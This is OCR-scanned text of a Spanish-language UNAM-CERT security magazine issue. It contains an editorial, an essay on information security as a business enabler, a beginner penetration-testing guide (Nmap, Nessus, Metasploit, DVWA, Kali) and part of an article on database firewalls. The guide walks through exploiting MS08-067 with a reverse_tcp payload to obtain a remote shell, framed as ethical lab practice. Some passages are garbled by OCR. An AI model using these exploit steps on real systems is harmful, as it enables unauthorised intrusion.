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Perfiles de seguridad
6 distintas lineas de accion en la agenda
de Tl

Elcampo de la computacion es realmente vasto,
sobre todo cuando hablamos de analizar todas
sus directrices. Una, la que mas nos compete
en UNAM-CERT, es la linea de la seguridad:
Seguridad en computo, seguridad informatica y
seguridad de la informaciéon. Términos que
podrian parecer, a simple vista, sinbnimos de
una misma causa, pero que al momento de
profundizarenellos, exponen mundosdistintos.

Si bien discernir sobre un tema conceptual no
es nuestro objetivo, tratar de referir hacia todos
los aspectos de la seguridad como un conjunto
si lo es, en .Seguridad Cultura de prevencién
para Tl lo vemos como una de nuestras metas,
edicion tras edicién.

En esta ocasion, decidimos abordar seis
aspectos primordiales que se encuentran en la
agenda de seguridad de las tecnologias de la
informacion y comunicacion de nuestros dias.
Para aventurarnos a ello, contamos con
estupendos profesionales, tanto del equipo de
nuestra prestigiada UNAM, como especialistas
de caracter internacional: Sebastian Bortnick,
Jesus Torrecillas y Eduardo Carozo.

Los colaboradores de esta edicion colocan seis
temas sobre la mesa: gestion, hacking, web y
escritorio, seguridad fisica, criptografia y
sistemas de control industrial. Una lista, no
excluyente de otros temas, que busca abarcar
distintos panoramas de la seguridad de nuestro
tiempo, sin embargo tu, querido lector, tienes
los comentarios finales.

L.C.S Jazmin Lopez Sanchez
Editora
Subdireccion de Seguridad de la Informacion
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;Es la seguridad de la informacién un
freno o un facilitador de la expansion
del negocio?

Jesus Nazareno Torrecillas

Enlamayoriade las organizacionesy empresas
publicas y privadas, se tiene la idea de que la
Seguridad de la Informaciéon, mas que una
facilitadora del negocio, es un obstaculo que
impide la agilidad y el dinamismo necesarios
para abarcar nuevos retos, evolucionar y
expandir la compania.

Un error muy extendido es considerar que el
departamento de Seguridad de la Informacién
garantiza la salvaguarda de los activos criticos
de la organizacion. La realidad es que el
departamento de Seguridad de la Informacién
facilita la metodologia y tecnologia necesarias
para procurar que los activos de informacion
estén lo mas protegidos posible, y que
permanezcan controlados dentro de un marco
de referencia. El departamento de Seguridad de
la Informacién, o ISM, debe trabajar de la mano
con el departamento de Seguridad Fisica de la

empresa u organismo. Silos dos departamentos
laboran sin una cabeza directriz conjunta,
llevaran a la empresa a situaciones muy
complicadas y absurdas de “neomanagement.”

Al no haber una cultura empresarial establecida
y bien referenciada, en donde los trabajadores y
ejecutivos de todos los niveles de la organizacion
entiendan y comprendan las ventajas
competitivas de contar con unas politicas de
seguridad de la informacion, sera muy
complicado permear estas ventajas a todos los
niveles organizativos. Las politicas deben ser
claras e incluir lo necesario para garantizar la
clasificacién de la informacion y el manejo que
se le debe dar desde su creacion, clasificacion,
almacenamiento y destruccion.

Un gran obstaculo, que los profesionales de
seguridad de la informacién encuentran a diario,
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es no saber como vender a la alta direccion la
seguridad de la informacion ni suimpacto en los
resultados globales del negocio. Otro obstaculo,
que las grandes empresas encuentran, es la
tedrica duplicidad de los departamentos de
Seguridad de la Informacion (uno que depende
del area de Seguridad Central y el otro de
Informatica).

El departamento de Informatica, Tl o IT, debe
contar con sus propios auditores internos para
verificar que los parches estén instalados, el
antivirus esté funcionando correctamente, se
cumplan las politicas dictadas por el
departamento de Seguridad de la Informacion
Central, etc. Con el fin de que, cuando se hagan
auditoriasindependientesporparte de auditores
externos, todo esté mas o menos en orden. En
cuanto al departamento de Seguridad de la
Informacion Central, éste es el encargado de
revisar y auditar de manera totalmente
independiente que todo en Tl se haga
correctamente y que se cumplan las politicas de
securizacion de la informacidén, generar
politicas, etc. Ambos departamentos deben ser

independientes. Como en el caso del
departamento de Control Interno y el
departamento financiero, si ambos se

encontraran juntos y fuesen dependientes,
nunca se llegarian a descubrir los fraudes
internos. Por eso insisto que el departamento
de Seguridad de la Informacion Central o
Corporativo  debe ser completamente
independiente del equipo de revision o ISM que
pertenezca a TI.

En muchas empresas, se considera que el
Departamento de Seguridad de la Informacién
es un mal necesario, en vez de un factor critico
gue ayuda a la continuidad del negocio en caso
de padecer wun incidente. En otras
organizaciones, se considera al departamento
de Seguridad de la Informacion como un freno
o escollo insalvable que limita los margenes
operativos y resta agilidad de expansion del
negocio, en vez de considerar a dicho
departamento como un facilitador de las
decisiones futuras o frente a incidentes.

La seguridad de Ila informacion debe
considerarse como un factor estratégico, critico

y necesario para procurar la continuidad del
negocio. Ademas, tiene que ser vista como
facilitadora de los planes futuros de expansion de
las companias que se precien de tener un
“‘management” de primer nivel y de alta
competitividad. Incluso hace frente, de manera
rapida y agil, a cualquier incidente que ponga en
riesgo la integridad de la informacion.

Supongamos que la empresa es como un lujoso
y costoso auto deportivo de carreras. Este coche
pertenece a un fabricante de prestigio (imagen de
la marca), tiene unos bonitos colores en su
carroceria  (Departamento de Imagen vy
Comunicacioén), cuenta con unos logotipos sobre
labonita pintura (Consejode Accionistas), unbuen
piloto (Direccion General), un favorable equipo de
mecanicos (Departamentode Ingenieria),unbuen
equipo de iluminacion (Inteligencia Estratégica),
un motor poderoso (Departamento de
Operaciones), unos excelentes neumaticos
(Departamento Comercial), etc. El sistema de
frenos de este vehiculo de carreras vendria a ser
nuestro Departamento de Seguridad de la
Informacion. Lapistade carreras seria el mercado
endonde nuestracompafiatendriaque debatirse
con sus competidores por agarrar mas cuota de
mercado en el menor numero de tiempo,
justificando ante su publico (clientes) el prestigio
de la marca del equipo de carreras (empresa).

Para que nuestro impresionante vehiculo de
carreras pueda dar el 100% de rendimiento en
este circuito, se debe de contar con la mas alta
tecnologia en su sistema de frenado, con el fin de
poder circular a la maxima velocidad, con la
confianzaytranquilidad de que, cuando se precise
hacer frenadas muy apretadas, los frenos no van
a fallar y el vehiculo no se estrellara (parada de
operacion irreversible). De esa manera se evita
que el accidente sea publicado en toda la prensa
y que impacte en la imagen estratégica de la
companfia, con la consiguiente pérdida de
credibilidad en el mercado. En cambio, si nuestro
sistema de frenado es mediocre y poco fiable,
cuando busquemos ir a altas velocidades
(cambios estratégicos), pormucho que deseemos
ir rapido, nuestros frenos seran un condicionante
muy fuerte a la hora de ir a alta velocidad. En caso
de necesidad, no tendremos la garantia de
ejecucion precisa del frenado vy, por tanto, el
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fantasma del accidente nos perseguira durante
la carrera (miedo al fracaso comercial).

Para ir a alta velocidad y estar seguros de ser
los mejores en la carrera, se debera contar con
la mas alta tecnologia en el sistema de frenos,
loque nos permitaabordarcambios en el circuito
(condiciones de mercado) e imprevistos en las
condiciones del pavimento (cambios en las
estrategias) sin que nuestro vehiculo pierda el
control de su trayectoria (planes para afrontar
contingencias). Por lo que un buen sistema de
frenado (buen departamento de Seguridad de
la Informacion) es basico y fundamental para
afrontar nuevos retos estratégicos del negocio.
Queda claro que poseer un excelente sistema
defrenosenunvehiculode carrerasno significa,
en ningun momento, que dicho sistema vaya a
serunestorboounobstaculo, nique ese sistema

<y

entorpezca la velocidad punta del auto de
carreras. Todo lo contrario, un buen sistema de
frenado, eficiente y de alta tecnologia, permitira
alvehiculodesarrollarsumaximavelocidadpara
ser competitivo durante todo el transcurso de la
carrera, permitiendo al auto, en caso de ser
necesario, reducir la marcha de manera muy
segura, tanto para el piloto como para el auto,
a fin de adaptar el vehiculo a las necesidades
oimprevistosdurante suevolucidnenelcircuito.

;Como trabaja en el vehiculo el sistema
de frenado?

Cuando wuna empresa analiza cdmo ser
competitiva frente a un mercado muy agresivo y
cambiante, en la mayoria de las ocasiones, pasa
por alto casi todo lo relativo al manejo de la
informacion de manera segura y eficiente. En las
empresas, los directivos suelen divagar sobre
estas cuestiones, sin tener muy claro cémo
manejarlainformacidénde formasegura. Otro error
de percepcion, muy comun, es que los directivos
suelen pensar que el departamento de Seguridad
de la Informacidn va a resolver todos los errores
cometidos en el manejo de la informacién y que,
paraeso, se precisan costosas cajas negras, cuya
ingenieria computacional es eficiente al 100% vy
resuelvetodoslos problemashabidosy porhaber.

Volviendo a nuestro ejemplo: Si el piloto del auto
de carreras (Direccion General) comete errores
en la trayectoria del circuito (estrategias fallidas
de mercado), obviamente, pormuchacomplejidad
tecnoldgicaqueseposea,nohabraningunsistema
de frenos que tenga y que pueda corregir estos
errores de manejo de la trayectoria del auto. Los
frenos estan para lo que estan y no para corregir
errores de pilotaje. El departamento de Seguridad
de la Informacidn no estéa para corregir los errores
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cometidos por la direccibn de la empresa.
Tampoco el departamento de Seguridad esta
para “tapar”los errores e ineficiencias (y hechos
delictivos) que podrian cometer los directivos
de alto nivel. Para estos asuntos delicados,
contar con una politica clara de consecuencias
frente a cierto tipo de malas actuaciones y
practicas, es mas que suficiente para poner en
orden las cosas.

Toda la compania debe tener conciencia de
como manejar su informacién. Desde los
puestos mas modestos hasta los directivos de
primer nivel.

Para ello, el Departamento de Seguridad de la
Informacion debe haber realizado, entre sus
muchos cometidos, un buen programa de
formacionenprevencidonde fugadeinformacion,
el cual deben recibir todos sus trabajadores, sin
excepcion. Esto ayudara, entre otras
situaciones criticas, a evitar robos de laptops o
smartphones en lugares publicos, a que los
directivos no hablen de planes estratégicos en
lugares publicos de manera que puedan ser
escuchados por competidores. Ayudara a hacer
respaldos periddicos de lainformacidn sensible,
a prevenir, en suma, que la informacion critica

3
—

y estratégica para la organizacion caiga en malas
manos 0 sea usada en contra de la propia
empresa, ademas de prevenir el fraude interno o
externo, utilizando para ello, metodologias
forenses y preventivas.

Unacita,alaquesuelorecurrirenunaconferencia,
cuando tengo que explicar la probleméatica de
confiar la Seguridad de la Informacion en
electrénicas automaticas, es la siguiente:

Si usted piensa que la tecnologia puede
resolver sus problemas de seguridad,
entonces usted no entiende los
problemas de seguridad y tampoco
entiende la tecnologia.

Dicha cita es nombrada por el archiconocido
experto de Seguridad y contemporaneo mio,
Bruce Schneier.!

El departamento de Seguridad de la Informacion,
conjuntamente con eldepartamentode Seguridad
Fisica, debera anticiparse muchas veces a las
intenciones corporativas de nuevas decisiones
estratégicasdelacompania, conelfinderesolver,

< .Seguridad UNAM
~ ° Cultura de prevencién para Tl U CERT



anticipadamente, muchos de los problemas que
se pueden plantear en caso de incidentes o de
problemas no previstos por la direccion. Por
ejemplo, si la empresa desea hacer una fusiéon
por adquisicion de una empresa hermana en un
pais, supongamos del tercer mundo, dicho
departamento de seguridad tendrad que
establecer  alianzas  estratégicas  con
embajadas, consulados, autoridades locales,
etc., debera contactar con proveedores locales
de tecnologia, debera estudiar el pais en lo
referido a su mapa de riesgos, entro otros.

Con el fin de poder plantear un plan estratégico
de salvaguarda de la informacién, se debera
confeccionar una matriz de riesgos de ese pais
o de ese negocio, para la realizacion de un plan
director que abarque aspectos tan diversos,
como los factores de riesgo (qué tipo de
proveedores de servicios existen, proveedores
de telefonia, factores climatolégicos, factores
sociopoliticos, factores sismologicos, qué
politicas existen en la empresa para prevenir la
fuga deinformacion, nivel de riesgo de espionaje
industrial, etc.)

Asipues, paraqueunaempresatengaunarapida
implantacién en un pais y pueda ir ala velocidad
deseada, sintiéndose segura de los pasos que
debe dar, el departamento de Seguridad de la
Informacién debe de ser capaz de actuar en
multiples frentes simultaneamente, y ademas,
de manera rapida y eficiente. Por ejemplo, para
evitar la fuga de informacion estratégica, la
empresa debe contar con un sistema de control
de acceso fisico y légico eficaz. Hay que saber
quién entra, cuando entra a nivel personal y a
donde se firma en la red (qué tipo de accesos
asignados debe tener). Se debe contar con un
plan de recuperacion frente a desastres
naturales, atentados, etc. Por eso es tan
importante disponer de una matriz de riesgos
realizada de manera granular. De esta forma,
cuando la empresa necesite “meter el freno”,
logre la tranquilidad y la seguridad de que todo
va a funcionar correctamente y sin
contratiempos, segun el plan de contingencia
previamente realizado y documentado. Como
en el caso de un corte de energia eléctrica
(intencional o fortuito) se deben tener previstas
las diferentes opciones a seguir para solventar
esta eventualidad.

1SCHNEIER, Bruce, “Secrets & lies,” Digital Security in a

networked world, John Wiley & Sons Inc, 2004.
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Pruebas de penetracion para
principiantes: 5 herramientas

para empezar

Sebastian Bortnik

Realizar pruebas de penetracion es una tarea
compleja, involucra un proceso en donde se
realizan distintos tipos de tareas que identifican,
en una infraestructura  objetivo, las
vulnerabilidades que podrian explotarse y los
dafos que podria causar un atacante. En otras
palabras, se realiza un proceso de hacking ético
para identificar qué incidentes podrian ocurrir
antes de que sucedany, posteriormente, reparar
o0 mejorar el sistema, de tal forma que se eviten
estos ataques.

Pararealizarunapruebade penetraciénde forma
profesional, es necesario sumar a los
conocimientos de hacking ético’, otros aspectos

fundamentales como: programacion,
metodologias, documentacion, entre otros. No
obstante, esos aprendizajes suelen venirunavez
que se conocen y se saben utilizar muchas
herramientas que son parte del proceso de
penetration testing. El presente articulo es un
listado de las cinco herramientas que debes
conocer, instalar y probar para dar tus primeros
pasos en este “arte”.

Lo que veras a continuacion, es una pequena
guia de “por donde empezar’ para aquellos
principiantesquedeseenintroducirseenelmundo
del hacking éticoy de las pruebas de penetracion.
Estas son, amicriterio, las primeras herramientas




que deberas conocer, no solo para comenzar a
prepararte para realizar esta tarea, sino para
empezar a comprenderla.

1. NMAP

En un proceso completo de pruebas de
penetracion, existeninstancias previas a ejecutar
esta herramienta pero, para dar los primeros
pasos, probablemente sea la mejor forma de
comenzar. Nmap es una herramienta de escaneo
de redes que permite identificar qué servicios se
estan ejecutando en un dispositivo remoto, asi
como la identificacibn de equipos activos,
sistemas operativos en el equipo remoto,
existencia de filtros o firewalls, entre otros.

En palabras sencillas, cuando se va a atacar un
servidor o dispositivo, el atacante podra realizar
distintas arremetidas en funcién del servicio: no
es lo mismo danar un servidor web, un servidor
de base de datos o un router perimetral. Por lo
tanto, en cualquier despliegue, el primer paso
sera identificar los servicios en la infraestructura,
para decidir cdmo avanzar y, considerando que
en una prueba de penetracion se “imitan” los
pasos de un atacante, también se iniciara de la
misma manera.

Nmap es una herramienta de linea de comandos
(existen algunas interfaces graficas pero,
personalmente, no las recomiendo, aunque es
una cuestion de gustos) donde se debe indicar
cualseraelolosobjetivosylaserie de parametros
que afectaran la forma en que se ejecuten las
pruebas y los resultados que se obtienen. Puede
instalarse tanto en Linux, Windows, Mac u otros
sistemas operativos.

En su forma tradicional, una linea de comando
seria la siguiente:

> nmap 172.16.1.1

En donde nmap es el comando en si mismo y
172.16.1.1 es el objetivo (que también puede
ser indicado con un nombre de dominio). La
respuesta a estos comandos sera un listado de

los puertos abiertos o cerrados endichadireccion.
La ejecucion sin parametros ejecuta un escaneo
sencillo alos 1000 puertos mas comunes (véase
que en la imagen se muestra uno abierto y 999
cerrados), realizando anteriormente un ping para
ver si el equipo esta vivo (si el equipo no responde
al ping, no se realizara el test de los puertos).

IMG1 — Salida tradicional de ejecucion de Nmap (hmap.org)

Cuando agregas parametros puedes obtener
mejores  resultados. Algunos parametros
comunes para tener en cuenta son:

[ -iL] puedes indicar una lista de equipos o
redes a escanear.

> nmap —1iL hosts.txt

[ -sP] solo escanea con un ping. Es una buena
forma de ver cuantas direcciones IP se pueden
checar. Una vez que se tienen enlistadas, se
podra ir solo con las que estan vivas.

*[-PO] es laforma de omitir el ping e ir directo
al escaneo de puertos. Muchos sistemas no
responden el ping como método de seguridad,
porlo que, escanearlos de todas formas, también
puede ser util en entornos mas reales (no es
necesario para los entornos de aprendizaje
inicial).

> nmap —-iL hosts.txt -p 22,25,80,445

[ -p] listalos puertos que se desean escanear.

[ -sV] intenta determinar la version del servicio
en el objetivo.

[ -0] informa el sistemaoperativo en el objetivo.

Una vez ejecutado Nmap, ya se conocen cuéles
son los servicios (al menos los identificados) que

—_
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se estan ejecutando en el blanco de la prueba
de penetracion. Ahora ya se puede pasar a las
siguientes etapas, en donde se utilizara esta
informacion para comenzar la busqueda de
vulnerabilidades en la infraestructura y en los
servicios identificados.

Ficha técnica

* Herramienta: Nmap

- Sitio web: http://nmap.org/
«Comoempezar:instalarlo, ejecutaruncomando
sencillo hacia una direccion IP y luego probar
agregando parametros (nmap --help puede
brindar mas informacion) o ejecutar para
multiples direcciones IP (que deben ser
indicadas en un archivo TXT).

*Mas informacion: Recomiendo este articulo con
30 comandos para ver y analizar las diferencias
en las respuestas. También esta el libro oficial
para explotar al maximo la funcionalidad de
Nmap, escrito por su creador, Gordon “Fyodor”
Lyon, http://nmap.org/book/.

2. NESSUS

Una vez que se tienen identificados los servicios
gue se estan ejecutando, se puede comenzar el
uso de las herramientas que sirven para identificar
vulnerabilidades en los servicios. En este campo,
la mejor herramienta para introducirse en este
mundo es Nessus, otra aplicacion gratuita (solo
para uso hogarefio, suficiente paralos fines de este
articulo; en el caso de fines profesionales es
necesario usarlaversion de pago) que, por subase
de datos y su facilidad de uso, es la preferida en
este aspecto.

Aunque posee una linea de comandos, considero
que su interfaz grafica, muy completa e intuitiva,
es una forma sencilla de comenzar a probar esta
herramienta.

Nessus posee una extensa base de datos de
vulnerabilidades conocidas en distintos servicios
y, por cada una de éstas, posee plugins que se
ejecutan para identificar si la vulnerabilidad existe
(ono)endeterminado equipoobjetivo. Enresumen,
al ejecutarse Nessus sin parametros especificos,
seprobaranmilesdevulnerabilidadesyseobtendra
como resultado un listado de las vulnerabilidades
que fueron identificadas.

La l6gica de Nessus es similar a Nmap: hay que

'E:
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indicar el objetivo, en este caso la o las
direcciones IP y los parametros. Estos permiten
limitar el campo de busqueda, especialmente si
en una etapa anterior se identificaron los
servicios: no tiene sentido buscar
vulnerabilidades conocidas en Linux en un
equipo que tiene instalado Windows.

Ficha técnica

IMG 2 — Seccion de configuraciones generales de exploracion de
Nessus (tenable.com)

* Herramienta: Nessus

« Sitio web:
http://www.tenable.com/products/nessus/

+ Como empezar: Si tienes Windows, instalarlo
ahi por interfaz gréafica es muy sencillo, funciona
para conocerlo por primera vez. Recomiendo
buscar el listado de plugins y ejecutar pruebas
limitando solo a determinados servicios.
*Masinformacion: Unlistadocompletode plugins
esta disponible en el sitio web, la lectura de las
descripciones es muy util para aprender mas
sobre vulnerabilidades en diversas plataformas
(http://www.tenable.com/plugins/index.php?vie
w=all).

3. Metasploit Framework

Una vez identificados los servicios y sus
vulnerabilidades, el paso siguiente seria la
explotacion de las vulnerabilidades. Es decir,
primero se tiene que probar si realmente las
vulnerabilidades identificadas permiten a un
atacante causar algun dafo. Después se intenta
conocer cual seria ese dafio. A pesar de que se
haya identificado una vulnerabilidad en la
instancia anterior, podria ser que, al momento
de intentar explotarla, existan otras medidas de
control que no hayan sido consideradas, otras
capas de seguridad o distintas variables que

podrian hacer mas complicada la explotacion de
la misma. Asimismo, si se logra explotar la
vulnerabilidad, podria comprobarse y dimensionar
cual podria ser el dafio hacia la organizacion, en
funcibn de la informacibn o sistemas que
estuvieran “detras” de dicha vulnerabilidad.

Para este fin, Metasploit es la herramienta ideal
para hacer estas pruebas. Mientras Nessus posee
una base de datos de vulnerabilidades, Metasploit
posee una base de exploits que podrian
aprovecharlas. En otras palabras, en lugar de
revisar si hay una vulnerabilidad en un equipo
remoto, directamente se intenta la ejecucion de
un exploit y se simulan las consecuencias
posteriores, en caso de que éste se ejecutara con
éxito.

Al igual que Nessus, su version de linea de
comandos, msfconsole, es la tradicional, incluso
recomendable para la automatizacién. Sin
embargo, su interfaz grafica es muy conveniente
para dar los primeros pasos y tener una mayor
comprension.

Si quieres probar la linea de comandos puedes
hacer las primeras pruebas. En Windows puedes
abrirla directamente desde el Menu de inicio como
“Metasploit Console”. En Linux, tan solo puedes
ejecutar un simple comando:

Unavez que estas enlaconsola, veras que cambia

> sudo msfpro

el prompt:

msf-pro >

Hay una serie de comandos sencillos para dar los
primeros pasos. Search, use, show, sety
exploit son probablemente los mejores.
Probaremos explotar una de las vulnerabilidades
mas famosas en Windows, la MS 08-067 (para ver
el boletin de la vulnerabilidad, clic aqui), una
vulnerabilidad critica descubierta en 2008 que
permitia ejecucion remota de codigo.

Si en un paso anterior (con Nessus) encontraste
que el sistema posee dicha vulnerabilidad (con
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Nmap podrias haber encontrado que estds Finalmente, solo debes ejecutar “exploit”.
lidiando con una maquina Windows), seria légico
con search encontrar el exploit a utilizar. ey 8 = n—
Entre los resultados, [0 mas importante €s que  mse expisis(maos v67 setaps) 5 sat LHOSY [192:168.0.5]

maf exploit{ms08 067 _netapi} > sat RHOST {192.168.0.10]
msf-pro > search exploits 08-067

Si pudiste hacer estos pasos correctamente,
podras encontrar la ruta del exploit y luego con
use podras decidir utilizarlo (si, asombroso): msf exploit (ms08_067_netapi) > show options
El comando show mostrara las alternativas para

msf-pro > use exploit/windows/smb/ms08_067_netapi podras ver una consola remota en el equipo
msf exploit(mens 067 netapl) > Windows y podras testearla con comandos
regulares de consola (ipconfig, dir, etc.).
ejecutar el exploit.
Ficha técnica
Luego, se podra utilizar el comando set para
+ Herramienta: Metasploit
+ Sitio web: http://www.metasploit.com/
configurar el exploit antes de la ejecucion. En < D6nde empezar: unavezinstalado, hazlaprueba
este caso, definiremos el local host (nuestra con alguna vulnerabilidad que permita el uso de
direccion IP), al host remoto (la direccidn IP de una consola meterpreter remota, son sencillas de
destino, donde se supone que ya sabemos existe probarsifueronexitosas.Hayquetenerprecaucion
la vulnerabilidad) y el payload (accion a ejecutar, con las vulnerabilidades de denegacion de
en este caso usaremos reverse_tcp que nos servicio.
dara una consola remota en el equipo).

msf exploit(ms08 067 netapi) > exploit
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* Mas informacion: Existe un documento oficial
completo para dar los primeros pasos en
Metasploit Framework, muy recomendable,
“Metasploit Community Getting Started Guide”.

4. DVL - DVWA

Para probar las tres herramientas anteriores, es
necesario definir un sistema objetivo, un sistema
en el que se haran las pruebas. Una pésima
costumbre de quienes inician en este ambito es
realizar sus primeros pasos y pruebas en
sistemas publicos de Internet, enunentornoreal.
Esto podria acarrear problemas legales y no es
la forma correcta (ni ética) de realizarlo. Para
aprender a usar estas herramientas, se debe
utilizar un entorno de pruebas, es decir, un
escenario de investigacion en donde uno pueda
tener acercamientos sin riesgos de afectar algun
entorno en produccién.

Para ello, existen dos herramientas excelentes:
Damn Vulnerable Linuxy (DVL) y Damn
Vulnerable Web Application (DVWA). Aunque el
primero estd descontinuado, aun se puede
conseguir en Internet para hacer los primeros
pasosy primeras pruebas. Se tratade un sistema
operativo y una aplicacion web que poseen todo
tipo de vulnerabilidades, de tal forma que, la
personaquelosutiliza, puedeintentarexplotarlas
y experimentar.

También es posible “construir” nuestro propio
sistema de pruebas: tan solo instala cualquier
sistema operativo (desactiva las actualizaciones
oinstalaunaversidnantigua)y sobre élcomienza
a instalar servicios en versiones anteriores a la
ultima. De esta forma, tendras tu propio sistema
vulnerable para hacer pruebas. Este entorno es
el correcto para dar tus primeros pasos en
Penetration Testing.

Ficha técnica

* Herramienta: Damn Vulnerable Web
Application

« Sitio web: http://www.dvwa.co.uk/

+ Dénde empezar: Instala el programa e intenta
encontrar y explotar vulnerabilidades comunes
con la herramienta anterior.

* Mas informacién: la aplicacion posee

informacion adicional, da clic aqui y encontraras
los aspectos mas importantes para instalarlo.
https://code.google.com/p/dvwa/wiki/README

5. Kali Linux (Backtrack)

Finalmente, hay una distribucion de Linux
disenada exclusivamente para Penetration
Testing. Las herramientas antes descritas (Nmap,
Nessus, Metasploit) estan disponibles y, no solo
eso, también hay muchas mas herramientas para
continuar practicando. Por ejemplo, Kali (antes
conocida como Backtrack) es una distribucién que
posee todotipo de herramientas preinstaladas que
sirven para realizar Penetration Testing.

El orden en que se presentaron las herramientas
noesaleatorio, eslorecomendable paracomenzar
a experimentar. Primero hay que probarlas de
forma aislada y luego, abocarse completamente
a Kali Linux.

Kali Linux puede ser descargada como imagen
ISO o directamente para VMWare. Una vez que
inicias un sistema Kali Linux, veras un menu muy
extenso con mas de 300 herramientas para
pentesters. Nmap y Metasploit Framework estan
incluidos en esta lista, entre otros.

»
-
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IMG 5 — Menu de Kali Linux (voiceofgreyhat.com)

Para una mejor comprension, las herramientas
son presentadas en diferentes categorias, aqui
algunas de las mas importantes:

«Information  gathering:  Herramientas de
recolecciéon de datos que ofrecen informacion
sobre los objetivos de los analisis, especialmente
herramientas de DNS, dominios y direcciones IP.
Nmap esta en esta categoria.
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*Aplicaciones web: Herramientas disefadas
para realizar analisis en sitios web a nivel de
servidores. Recomendaciones para esta
seccion: Nikto y w3af para encontrar
vulnerabilidades en los sitios.

*Ataques a contrasefas: Herramientas para
hacer cracking de contrasefas, de formatal, que
se prueban ataques de fuerza bruta o diccionario
para encontrar las contrasefias de acceso
correctas a un formulario o sistema.

+ Ataquesinaldmbricos: Cuandounatacante esta
conectado a una red wireless puede ejecutar
algunos ataques, especialmente cuando intenta
interceptar informacién que est4d siendo
transmitida mediante esared inaldmbrica. Estas
herramientas permiten analizar la red vy
diagnosticar su seguridad.

‘Herramientas de explotacién: Metasploit
Framework es la clave de esta seccion, entre
otras herramientas que permiten explotar
vulnerabilidades.

+Sniffing/Spoofing: Wireshark y Ettercap son las
herramientas mas recomendables. Conellas, es
posible ver el trafico de red que podria permitir
el acceso a informaciéon confidencial, entre otros
ataques.

Ingenieria inversa: Ollydbg es uno de los
mejores debuggers que podrian ayudar a
comprender qué acciones realiza un archivo en
el sistema por medio de un proceso de ingenieria
inversa.

‘Forense: También hay wuna serie de
herramientas para realizar analisis forenses
sobre un sistema, es decir, se puede analizar el
estado de un sistema justo en el momento que
ocurri6 determinado incidente; ademas se
identifican acciones pasadas o archivos ocultos
en el mismo, entre otros.

Ficha técnica

*Herramienta: Kali Linux

-Sitio web: http://www.kali.org/

‘COmo empezar: primero, probar las
herramientas antes listadas pero desde dentro
de Kali Linux y luego, adentrarse en su menu,
donde las herramientas estan categorizadas, lo
que permitird mayor comprension.

* Mas informacion: hay documentos disponibles
en el sitio oficial en varios idiomas, para conocer
mas en detalle el kit de herramientas.
http://docs.kali.org/.

6. La sexta herramienta: nuestro cerebro

Hay una falsa idea de que una prueba de
penetracion es la ejecucion de una serie de
herramientas en un orden determinado. Esto no
esasi, laelecciondelas herramientas, laejecucion
de tareas manuales y la utilizacibn de una
metodologia, son tan solo algunas de las variables
para convertirse en un profesional de Penetration
Testing. Sin embargo, un factor comun en todo el
proceso, es que tenemos que pensar. Hay dos
tipos de ethical hacker, aquel que solo lee y utiliza
loquedicenlasherramientasyaquelqueinterpreta
y pone su inteligencia para ofrecer un informe que
realmente brinde valor a su cliente, aquella
empresa u organizacion que necesita conocer
como mejorar la proteccion de la informacion y su
infraestructura.

Los atacantes no solo ejecutan herramientas, sino
gue piensan como atacar. Al momento de realizar
un Pentest es fundamental no perder de vista
nuestra herramienta principal: pensar.
Independientemente de las herramientas de
software que utilicemos, pensar constantemente
comounatacante, eslaclave principal pararealizar
un Penetration Testing de forma exitosa.

¢, Qué debes hacer ahora? Solo toma esta guia,
descarga las herramientas e intenta utilizarlas.
Probablemente en una primera instancia tengas
mas preguntas que respuestas y si asi fuera, esa
es la mejor manera de comenzar.

T La utilizacion de herramientas y habilidades similares a
los atacantes con el animo de hacerun aporte ala seguridad
y hacer el bien.
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Firewall de bases de datos

Angie Aguilar Dominguez

Importancia de la informacidn

La mayoria de las aplicaciones, tanto web como
de escritorio, interactuan con usuarios que
proporcionan informacion para su
almacenamiento y procesamiento.
Generalmente, esta informacion se resguarda
en una base de datos y puede ser informacién
personal, registros médicos, informacién
financiera, entre otros.

cuenta bancaria (saldo, movimientos, depésitos,
retiros, cancelaciones).

En la mayoria de los casos, toda esta informacion
sealmacenaenunabasededatosque esoperada
por un Sistema Manejador de Bases de Datos
(SMBD). Asi, cuando navegamos en el sitio en
linea del banco para consultar nuestro saldo, la

Consideremos el ejemplo de un banco que tiene
una pagina de Internet en donde es posible
realizar transacciones en linea:

El banco posee informacién sensible de cada
uno de los usuarios que tiene. Los datos pueden
serpersonales (nombre, apellidos, beneficiarios
de la cuenta), datos de contacto (direccion,
teléfono) y, adicionalmente, los datos de la

aplicacion web envia nuestra peticién al SMBD,
el cual nos proporciona acceso a la informacién
contenida en la base de datos.

Para entender mejor lo anterior, en la siguiente
imagen se ilustra la interaccion del usuario con la
aplicacibonweb que, asuvez, realizalas peticiones
necesarias a la base de datos:

> .Seguridad UNAMCERT
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Imagen 1. Flujo de comunicacion entre el usuario, la aplicacién y la
base de datos.

Si las aplicaciones web no cuentan con la
seguridad necesaria (la cual comienza a
implementarse desde que se lleva a cabo el
diseno), la informacion de los usuarios,
informacion de configuraciones, entre otras,
podrian quedar expuestas, o bien, algun usuario
malicioso podria intentar extraerla para obtener
algun tipo de beneficio.

Un tipo de consultas provenientes de usuarios
maliciosos haciaun manejador de base de datos
es conocida como SQL Injection, que consiste
en la “inyeccion” de consultas SQL al emplear
las entradas proporcionadas por la aplicacién
web para modificar u obtener informacién de la
base de datos'.

Por ejemplo, en un formulario de registro de
usuarios, si el campo que solicita el nombre no
es validado correctamente, entonces no se
filtrara el conjunto de caracteres recibidos como
entrada. En una situacidn como esta puede
suceder una inyeccion de SQL.

Es por ello que, en el ambito de la seguridad
informatica, es necesario contar con las
herramientas adecuadas para combatir a los
usuarios maliciosos que buscan tener acceso a
la informacion almacenada en una base de
datos.

Por lo anterior, es conveniente pensar en la
seguridad informatica como un conjunto de
técnicas, conocimientos, hardware y software
colocado estratégicamente en capas, para
proteger el elemento mas importante: la
informacion.

Firewall para filtrar peticiones
SQL maliciosas

Una de las diferentes opciones que existen

actualmente para proteger la informacion
almacenada consiste en la implementacidén de un
firewall de bases de datos.

El firewall de bases de datos es una aplicacion de
software que permite filtrar, mediante un conjunto
de reglas preestablecidas, las peticiones que
llegan al manejador de bases de datos.

Adicionalmente, al instalar una solucion orientada
paraprotegerlabase dedatos,nosolosebloquean
las peticiones maliciosas, sino que se puede llevar
a cabo el monitoreo de las actividades, generando
bithcoras y explotando la informacién que se
almacena en ellas.

Este punto es muy importante, ya que permite
identificar de qué lugar provienen los atacantes
(que pueden serreincidentes, o bien, buscar datos
especificos), el horario en que se registra mayor
actividad y los ataques mas frecuentes que se
presentan. De esta manera se pueden generar
estadisticas que permitan visualizar el posible
comportamiento de los atacantes y tomar las
medidas de seguridad necesarias.

